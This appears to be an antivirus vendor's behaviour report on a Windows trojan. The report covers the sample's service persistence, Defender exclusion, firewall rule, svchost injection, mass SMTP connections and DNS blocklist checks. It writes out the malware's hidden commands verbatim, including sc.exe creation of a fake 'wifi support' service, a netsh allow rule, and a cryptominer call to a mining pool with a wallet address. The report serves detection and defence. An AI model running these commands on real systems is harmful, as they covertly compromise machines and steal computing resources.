Trojan.Siggen18.46550

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\cbarmrcu] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\cbarmrcu] 'ImagePath' = '%WINDIR%\SysWOW64\cbarmrcu\wmxbnvbk.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\cbarmrcu] 'ImagePath' = '%WINDIR%\SysWOW64\cbarmrcu\wmxbnvbk.exe'

Creates the following services

'cbarmrcu' %WINDIR%\SysWOW64\cbarmrcu\wmxbnvbk.exe /d"<Full path to file>"
'cbarmrcu' %WINDIR%\SysWOW64\cbarmrcu\wmxbnvbk.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\cbarmrcu' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\wmxbnvbk.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\wmxbnvbk.exe to %WINDIR%\syswow64\cbarmrcu\wmxbnvbk.exe

Deletes itself.

Network activity

Connects to

'mi##########m.mail.protection.outlook.com':25
'mx.#len.pl':25
'mx##.#-online.de':25
'cm##.##oragepipe.com':25
'mx.#p.pl':25
'mx.###zta.onet.pl':25
'mx##.mail.com':25
'mx.##bleone.net':25
'ex####l.bigpond.com':25
'mx.##a.untd.com':25
'mx####.chinaemail.cn':25
'mx#.qq.com':25
'mx##.##ndenserver.de':25
'in###gram.com':443
'cl######.us.messagelabs.com':25
'mx#######401.gslb.pphosted.com':25
'eb##.com':443
'mx#######901.gslb.pphosted.com':25
'mx.####.locaweb.com.br':25
'mx#.####o.locaweb.com.br':25
'an###mmed.com':25
'mx#######601.gslb.pphosted.com':25
'mx####.#egamailservers.eu':25
'mx#######502.gslb.pphosted.com':25
'mx#######a02.gslb.gpphosted.com':25
'po#.##tscope.net':25
'mx#.#xstorm.com':25
'ma###esia.com':25
'mx#######201.gslb.pphosted.com':25
'mx######53501.pphosted.com':25
'ma#########.mail.protection.outlook.com':25
'ei####.#x.a.cloudfilter.net':25
'al######x-vip2.prodigy.net':25
'ma###.h3c.com':25
'ma##.b-io.co':25
'es#.#entene.com':25
'smtp.google.com':25
'mx######71101.pphosted.com':25
'ma##.##errillamail.com':25
'eb#y.it':443
'mx#######e02.gslb.pphosted.com':25
'mx.##wered.name':25
'mx#.###nturserver.de':25
'lo########eers.ogame.gameforge.com':443
'ye######.mxmail.netease.com':25
'mx##########tral-1.prod.hydra.sophos.com':25
'mx#######c01.gslb.pphosted.com':25
'mx#######102.gslb.pphosted.com':25
'sm##.indra.com':25
'mx##.###us-vadesecure.net':25
'mx#.##origo-upos.pl':25
'mx#######a02.gslb.pphosted.com':25
'mx.###etowax.com':25
'mx##.#bs.open.ch':25
'mx##.###g.kundenserver.de':25
'mx#######f01.gslb.pphosted.com':25
'17#.#13.115.157':423
'17#.#13.115.155':423
'17#.#13.115.154':423
'17#.#13.115.153':423
'mx#######001.gslb.pphosted.com':25
'ho#########.olc.protection.outlook.com':25
'mx####.##il.gm0.yahoodns.net':25
'mx#######701.gslb.pphosted.com':25
'mx######91d01.pphosted.com':25
'aspmx.l.google.com':25
'al######x-vip1.prodigy.net':25
'mx.###mediacom.com':25
'80.#6.75.4':423
'mx#.#mpal.com':25
'mx#.#anmail.net':25
'mx#.#ate.com':25
'mx.####otelsrimini.com':25
'mx.######mail.rediff.akadns.net':25
'mx###.##il.am0.yahoodns.net':25
'ma##.##olantdebru.com':25
'ma####.stephens.com':25
'mx#######a01.gslb.pphosted.com':25
'fa###ool.xyz':10060
'17#.#13.115.158':487
'sv####lfheim.top':443
'mx.###management.it':25
'mx######1cb01.pphosted.com':25
'if##.ific.uv.es':25
'sp##.#nterdns.co.uk':25
'mx.##.#tinternet.com':25
'mx#######d04.gslb.pphosted.com':25
'mx######9f702.pphosted.com':25
'mt##.##0.yahoodns.net':25
'mx######bde01.pphosted.com':25
'mx#.##starica.net':25
'mx######49f01.pphosted.com':25
'pr####oint4.sfu.ca':25
'10#.#7.13.33':25
'mx#######301.gslb.pphosted.com':25
'pa####x.above.com':25
'mx#######702.gslb.pphosted.com':25
'google.com':443
'mx#######501.gslb.pphosted.com':25
'cl######j.mailcontrol.com':25
'mx#######e01.gslb.pphosted.com':25
'ma##.####printingandsystems.com':25
'mx#######b02.gslb.pphosted.com':25
'mx#######b01.gslb.pphosted.com':25
'ex#####e.lastmail.co':25
'ma##.econt.com':25
'mx#######003.gslb.pphosted.com':25
'ma##.#-email.net':25
'google.com':80
'17#.#13.115.156':423
'cx#.##.#.cloudfilter.net':25

TCP

HTTP GET requests

http://www.google.com/
http://www.google.com/ncr

Other

'sv####lfheim.top':443
'if##.ific.uv.es':25
'mx####.#egamailservers.eu':25
'eb##.com':443
'in###gram.com':443
'mx#.qq.com':25
'mx.###zta.onet.pl':25
'mx####.chinaemail.cn':25
'cm##.##oragepipe.com':25
'mx##.#bs.open.ch':25
'mx#.##origo-upos.pl':25
'an###mmed.com':25
'ye######.mxmail.netease.com':25
'ma#########.mail.protection.outlook.com':25
'lo########eers.ogame.gameforge.com':443
'sm##.indra.com':25
'mx#.#xstorm.com':25
'mx.##wered.name':25
'ma##.##errillamail.com':25
'mx#.###nturserver.de':25
'smtp.google.com':25
'ma###.h3c.com':25
'al######x-vip2.prodigy.net':25
'mx#######201.gslb.pphosted.com':25
'mx######53501.pphosted.com':25
'mx.##.#tinternet.com':25
'mx##########tral-1.prod.hydra.sophos.com':25
'mt##.##0.yahoodns.net':25
'17#.#13.115.154':423
'17#.#13.115.158':487
'fa###ool.xyz':10060
'mx###.##il.am0.yahoodns.net':25
'mx.######mail.rediff.akadns.net':25
'ma##.##olantdebru.com':25
'mx#.#anmail.net':25
'al######x-vip1.prodigy.net':25
'aspmx.l.google.com':25
'mx####.##il.gm0.yahoodns.net':25
'ho#########.olc.protection.outlook.com':25
'80.#6.75.4':423
'17#.#13.115.155':423
'mx#.##starica.net':25
'17#.#13.115.153':423
'sp##.#nterdns.co.uk':25
'ma##.#-email.net':25
'ma##.econt.com':25
'ex#####e.lastmail.co':25
'17#.#13.115.156':423
'17#.#13.115.157':423
'google.com':443
'pa####x.above.com':25
'10#.#7.13.33':25
'cl######j.mailcontrol.com':25
'mx######bde01.pphosted.com':25
'ma###esia.com':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK bu###czek.pl
DNS ASK mx.###zta.onet.pl
DNS ASK wp.pl
DNS ASK mx.#p.pl
DNS ASK vi#.qq.com
DNS ASK oz##es.com
DNS ASK cm##.##oragepipe.com
DNS ASK t-##line.de
DNS ASK mx##.#-online.de
DNS ASK o2.pl
DNS ASK mx.#len.pl
DNS ASK si#.net
DNS ASK mx##.##ndenserver.de
DNS ASK ju##.com
DNS ASK ub#.com
DNS ASK mx##.#bs.open.ch
DNS ASK on##ne.de
DNS ASK mx##.###g.kundenserver.de
DNS ASK sp####um-health.org
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK lo###owax.com
DNS ASK mx.###etowax.com
DNS ASK on#t.pl
DNS ASK as##03.org
DNS ASK ne####marcus.com
DNS ASK mx##.mail.com
DNS ASK ma##h.com
DNS ASK ma##.com
DNS ASK mx.##bleone.net
DNS ASK mx#.####o.locaweb.com.br
DNS ASK en###umi.com
DNS ASK mx.####.locaweb.com.br
DNS ASK de##.com
DNS ASK mx#######901.gslb.pphosted.com
DNS ASK un###bank.com
DNS ASK dh#.#ic.gov.au
DNS ASK eb##.com
DNS ASK mx#######401.gslb.pphosted.com
DNS ASK se##ech.com
DNS ASK cl######.us.messagelabs.com
DNS ASK ne###ope.net
DNS ASK po#.##tscope.net
DNS ASK at#.com
DNS ASK fe##un.net
DNS ASK in###gram.com
DNS ASK mx####.chinaemail.cn
DNS ASK fo##ail.com
DNS ASK mx#.qq.com
DNS ASK ne##ero.net
DNS ASK mx.##a.untd.com
DNS ASK bi##ond.com
DNS ASK ex####l.bigpond.com
DNS ASK fr###ier.com
DNS ASK ca###one.net
DNS ASK he######dpaymentsystems.com
DNS ASK ho###oods.com
DNS ASK mx#######a02.gslb.pphosted.com
DNS ASK ag##.com
DNS ASK yo##ube.com
DNS ASK smtp.google.com
DNS ASK qq.com
DNS ASK he##th.net
DNS ASK es#.#entene.com
DNS ASK if#.com
DNS ASK fs##.com
DNS ASK ma##.b-io.co
DNS ASK h3#.com
DNS ASK ma###.h3c.com
DNS ASK pe###epc.com
DNS ASK cx#.##.#.cloudfilter.net
DNS ASK ei##om.net
DNS ASK be###outh.net
DNS ASK al######x-vip2.prodigy.net
DNS ASK co##ast.com
DNS ASK ha##er.com
DNS ASK ma##kay.com
DNS ASK pa###tir.com
DNS ASK ma#########.mail.protection.outlook.com
DNS ASK mx######53501.pphosted.com
DNS ASK eu##pe.com
DNS ASK ma###esia.com
DNS ASK co#.net
DNS ASK fa#.#arvard.edu
DNS ASK mx######71101.pphosted.com
DNS ASK ma##.##errillamail.com
DNS ASK sh###lasers.com
DNS ASK fl##red.com
DNS ASK ex##igo.pl
DNS ASK mx#.##origo-upos.pl
DNS ASK ea###link.net
DNS ASK mx##.###us-vadesecure.net
DNS ASK in##a.net
DNS ASK sm##.indra.com
DNS ASK af###etrix.com
DNS ASK mx#######102.gslb.pphosted.com
DNS ASK am##.com
DNS ASK mx#######c01.gslb.pphosted.com
DNS ASK em###glio.com
DNS ASK gl##o.com
DNS ASK ye##.net
DNS ASK mx##########tral-1.prod.hydra.sophos.com
DNS ASK am##ki.pl
DNS ASK lo########eers.ogame.gameforge.com
DNS ASK pl###auf.com
DNS ASK mx#.###nturserver.de
DNS ASK ho###aba.com
DNS ASK mx#.#xstorm.com
DNS ASK ma###.###ntonemailhearing.com
DNS ASK in####-mail.info
DNS ASK mx.##wered.name
DNS ASK eb#y.it
DNS ASK ju###fou.com
DNS ASK ai####irement.com
DNS ASK ye######.mxmail.netease.com
DNS ASK ei####.#x.a.cloudfilter.net
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK zy##a.com
DNS ASK mx#.#mpal.com
DNS ASK sb###obal.net
DNS ASK al######x-vip1.prodigy.net
DNS ASK sd##e.org
DNS ASK aspmx.l.google.com
DNS ASK be###outh.com
DNS ASK mx######91d01.pphosted.com
DNS ASK us##pe.com
DNS ASK mx#######701.gslb.pphosted.com
DNS ASK ve##zon.net
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK ho##ail.com
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK so#.org
DNS ASK mx#######001.gslb.pphosted.com
DNS ASK ke##ost.net
DNS ASK sp##.#nterdns.co.uk
DNS ASK te##s.net
DNS ASK google.com
DNS ASK ti##jo.com
DNS ASK ma##.#-email.net
DNS ASK we###fargo.com
DNS ASK mx#######003.gslb.pphosted.com
DNS ASK ec##t.com
DNS ASK ma##.econt.com
DNS ASK em##l.com
DNS ASK la##mail.co
DNS ASK mx.###mediacom.com
DNS ASK mx.###management.it
DNS ASK sv####lfheim.top
DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
DNS ASK 23#.###.#12.82.bl.spamcop.net
DNS ASK 23#.###.#12.82.zen.spamhaus.org
DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
DNS ASK 23#.###.#12.82.cbl.abuseat.org
DNS ASK fa###ool.xyz
DNS ASK ai##.net
DNS ASK mx#######a01.gslb.pphosted.com
DNS ASK st###ens.com
DNS ASK ma####.stephens.com
DNS ASK vi####tdebru.com
DNS ASK ma##.##olantdebru.com
DNS ASK sk#.com
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK vi####elsrimini.com
DNS ASK re###fmail.com
DNS ASK mx.######mail.rediff.akadns.net
DNS ASK na##.com
DNS ASK mx.####otelsrimini.com
DNS ASK mx#.#ate.com
DNS ASK 23#.###.112.82.in-addr.arpa
DNS ASK ha##ail.net
DNS ASK mx#.#anmail.net
DNS ASK vi####agement.it
DNS ASK vi###diacom.com
DNS ASK ex#####e.lastmail.co
DNS ASK fi#.edu
DNS ASK mx#######b01.gslb.pphosted.com
DNS ASK ya##o.com
DNS ASK mt##.##0.yahoodns.net
DNS ASK ai##g.com
DNS ASK ft#.com
DNS ASK mx#######d04.gslb.pphosted.com
DNS ASK mx######9f702.pphosted.com
DNS ASK bt###ernet.com
DNS ASK mx.##.#tinternet.com
DNS ASK if##.uv.es
DNS ASK if##.ific.uv.es
DNS ASK fi###hline.com
DNS ASK an###mmed.com
DNS ASK mx#######f01.gslb.pphosted.com
DNS ASK mx#######702.gslb.pphosted.com
DNS ASK wa###rbros.com
DNS ASK mx#######e02.gslb.pphosted.com
DNS ASK ba###lle.org
DNS ASK mx#######a02.gslb.gpphosted.com
DNS ASK ap####entguide.com
DNS ASK wr###isors.com
DNS ASK mx#######502.gslb.pphosted.com
DNS ASK br###and.net
DNS ASK mx####.#egamailservers.eu
DNS ASK an####medical.net
DNS ASK mx######bde01.pphosted.com
DNS ASK va##ro.com
DNS ASK th###rtford.com
DNS ASK bb##dt.com
DNS ASK mx######49f01.pphosted.com
DNS ASK ab##tt.com
DNS ASK mx#######b02.gslb.pphosted.com
DNS ASK da####cowboys.net
DNS ASK lo######tingandsystems.com
DNS ASK ma##.####printingandsystems.com
DNS ASK fo###online.com
DNS ASK mx#######e01.gslb.pphosted.com
DNS ASK fo#.com
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK hl##.com
DNS ASK cl######j.mailcontrol.com
DNS ASK em####nprocess.com
DNS ASK mx######1cb01.pphosted.com
DNS ASK in###mmicro.com
DNS ASK xt###e-plus.com
DNS ASK ad##sa.com
DNS ASK pa####x.above.com
DNS ASK ot##.com
DNS ASK mx#######301.gslb.pphosted.com
DNS ASK sf#.ca
DNS ASK pr####oint4.sfu.ca
DNS ASK be##buy.com
DNS ASK in#####t-krstarica.com
DNS ASK mx#.##starica.net
DNS ASK co##inc.com
DNS ASK im###works.com
DNS ASK am###trade.com
DNS ASK so##e.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\cbarmrcu\wmxbnvbk.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\cbarmrcu\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wmxbnvbk.exe" %WINDIR%\SysWOW64\cbarmrcu\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create cbarmrcu binPath= "%WINDIR%\SysWOW64\cbarmrcu\wmxbnvbk.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description cbarmrcu "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start cbarmrcu' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\cbarmrcu\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wmxbnvbk.exe" %WINDIR%\SysWOW64\cbarmrcu\
'%WINDIR%\syswow64\sc.exe' create cbarmrcu binPath= "%WINDIR%\SysWOW64\cbarmrcu\wmxbnvbk.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description cbarmrcu "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start cbarmrcu
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half

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